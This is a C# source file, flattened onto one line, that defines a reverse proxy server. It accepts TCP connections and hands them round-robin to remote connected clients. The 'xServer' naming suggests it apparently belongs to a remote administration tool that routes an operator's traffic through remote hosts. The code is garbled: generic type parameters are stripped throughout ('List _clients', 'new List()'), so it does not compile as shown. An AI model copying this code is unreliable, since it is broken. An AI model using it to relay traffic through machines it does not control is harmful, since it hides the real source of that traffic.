using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Sockets; using xServer.Core.Networking; namespace xServer.Core.ReverseProxy { public class ReverseProxyServer { public delegate void ConnectionEstablishedCallback(ReverseProxyClient proxyClient); public delegate void UpdateConnectionCallback(ReverseProxyClient proxyClient); public event ConnectionEstablishedCallback OnConnectionEstablished; public event UpdateConnectionCallback OnUpdateConnection; private Socket _socket; private readonly List _clients; public ReverseProxyClient[] ProxyClients { get { lock (_clients) { return _clients.ToArray(); } } } public ReverseProxyClient[] OpenConnections { get { lock (_clients) { List temp = new List(); for (int i = 0; i < _clients.Count; i++) { if (_clients[i].ProxySuccessful) { temp.Add(_clients[i]); } } return temp.ToArray(); } } } public Client[] Clients { get; private set; } //We can also use the Random class but not sure if that will evenly spread the connections //The Random class might even fail to make use of all the clients private uint _clientIndex; public ReverseProxyServer() { _clients = new List(); } public void StartServer(Client[] clients, string ipAddress, int port) { Stop(); this.Clients = clients; for (int i = 0; i < clients.Length; i++) this.Clients[i].Value.ProxyServer = this; this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); this._socket.Listen(100); this._socket.BeginAccept(socket_BeginAccept, null); } private void socket_BeginAccept(IAsyncResult ar) { try { lock (_clients) { _clients.Add(new ReverseProxyClient(Clients[_clientIndex % Clients.Length], this._socket.EndAccept(ar), this)); _clientIndex++; } } catch { } try { this._socket.BeginAccept(socket_BeginAccept, null); } catch { /* Server stopped listening */ } } public void Stop() { if (_socket != null) _socket.Close(); lock (_clients) { foreach (ReverseProxyClient client in new List(_clients)) client.Disconnect(); _clients.Clear(); } } public ReverseProxyClient GetClientByConnectionId(int connectionId) { lock (_clients) { return _clients.FirstOrDefault(t => t.ConnectionId == connectionId); } } internal void CallonConnectionEstablished(ReverseProxyClient proxyClient) { try { if (OnConnectionEstablished != null) OnConnectionEstablished(proxyClient); } catch { } } internal void CallonUpdateConnection(ReverseProxyClient proxyClient) { //remove a client that has been disconnected try { if (!proxyClient.IsConnected) { lock (_clients) { for (int i = 0; i < _clients.Count; i++) { if (_clients[i].ConnectionId == proxyClient.ConnectionId) { _clients.RemoveAt(i); break; } } } } } catch { } try { if (OnUpdateConnection != null) OnUpdateConnection(proxyClient); } catch { } } } }